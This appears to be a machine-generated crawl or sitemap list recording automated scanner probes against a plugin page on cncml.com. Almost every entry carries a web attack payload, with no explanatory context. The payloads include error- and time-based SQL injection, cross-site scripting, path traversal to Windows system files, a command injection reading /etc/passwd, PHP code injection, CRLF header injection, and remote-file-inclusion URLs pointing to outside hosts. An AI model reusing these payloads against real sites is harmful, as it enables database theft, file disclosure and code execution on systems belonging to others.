http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch);%20IF(11=62)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearch6633x3X6 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearchAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearchJyI%3D 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearchalert(42873) 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=cloudsearche360 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=dir 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=file:///c:/boot.ini 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=phpinfo 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=response.write(9412458*9542755) 0.0001 http://www.cncml.com/plugin.php?formhash=692490b7&id=set%7Cset&set 0.0001 http://www.cncml.com/plugin.php?id=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/plugin.php?id=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/plugin.php?id=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/plugin.php?id=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/plugin.php?id=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/plugin.php?id=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/plugin.php?id=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/plugin.php?id=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/plugin.php?id=%3Cdir 0.0001 http://www.cncml.com/plugin.php?id=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/plugin.php?id=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/plugin.php?id=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/plugin.php?id=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/plugin.php?id=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/plugin.php?id='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/plugin.php?id='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/plugin.php?id=');print(md5(1122));// 0.0001 http://www.cncml.com/plugin.php?id=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/plugin.php?id=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/plugin.php?id=(SELECT%20(CASE%20WHEN%20(24=24)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%2024*(SELECT%2024%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=(SELECT%20(CASE%20WHEN%20(26=26)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%2026*(SELECT%2026%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=(SELECT%20(CASE%20WHEN%20(35=35)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?id=(SELECT%20(CASE%20WHEN%20(37=37)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%2037*(SELECT%2037%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=(SELECT%20(CASE%20WHEN%20(46=35)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%2046*(SELECT%2046%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=(SELECT%20(CASE%20WHEN%20(58=77)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?id=(SELECT%20(CASE%20WHEN%20(61=38)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%2061*(SELECT%2061%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=(SELECT%20(CASE%20WHEN%20(67=17)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%2067*(SELECT%2067%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=(SELECT%20(CASE%20WHEN%20(81=58)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%2081*(SELECT%2081%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/plugin.php?id=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/plugin.php?id=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/plugin.php?id=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?id=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/plugin.php?id=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/plugin.php?id=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/plugin.php?id=................windowswin.ini 0.0001 http://www.cncml.com/plugin.php?id=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/plugin.php?id=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/plugin.php?id=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/plugin.php?id=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/plugin.php?id=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/plugin.php?id=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/plugin.php?id=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/plugin.php?id=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/plugin.php?id=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/plugin.php?id=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/plugin.php?id=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/plugin.php?id=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/plugin.php?id=;print(md5(1122));%23 0.0001 http://www.cncml.com/plugin.php?id=C:%5Cboot.ini 0.0001 http://www.cncml.com/plugin.php?id=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/plugin.php?id=ELT(73=98,0x626C7565696465615F717167726F75703A717167726F7570) 0.0001 http://www.cncml.com/plugin.php?id=ELT(88=88,0x626C7565696465615F717167726F75703A717167726F7570) 0.0001 http://www.cncml.com/plugin.php?id=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/plugin.php?id=MAKE_SET(86=86,0x626C7565696465615F717167726F75703A717167726F7570) 0.0001 http://www.cncml.com/plugin.php?id=MAKE_SET(96=64,0x626C7565696465615F717167726F75703A717167726F7570) 0.0001 http://www.cncml.com/plugin.php?id=Network114:Network114&ljtype=1%bf%27 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup 0.0021 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%00' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20RLIKE%20(SELECT%20(CASE%20WHEN%20(74=76)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20RLIKE%20(SELECT%20(CASE%20WHEN%20(75=75)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%22%20AND%20%22Ct%22=%22hz 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%22)%20AND%2098=13%20AND%20(%22bg%22=%22bg 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25%22%29%20AND%2082%3D99%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25%27%29%20AND%2019%3D19%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25%27%29%20AND%2034%3D34%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25%27%29%20AND%2063%3D77%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25%27%29%20AND%2064%3D25%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND%2029=29%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND%2038=16%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND%2052=52%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND%2081=49%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND%2081=86%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND%2087=87%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0002 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(17=53)%20THEN%20'blueidea_qqgroup:qqgroup'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/plugin.php?id=blueidea_qqgroup:qqgroup%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(29=61)%20THEN%200x626C7565696465615F717167726F75703A717167726F7570%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 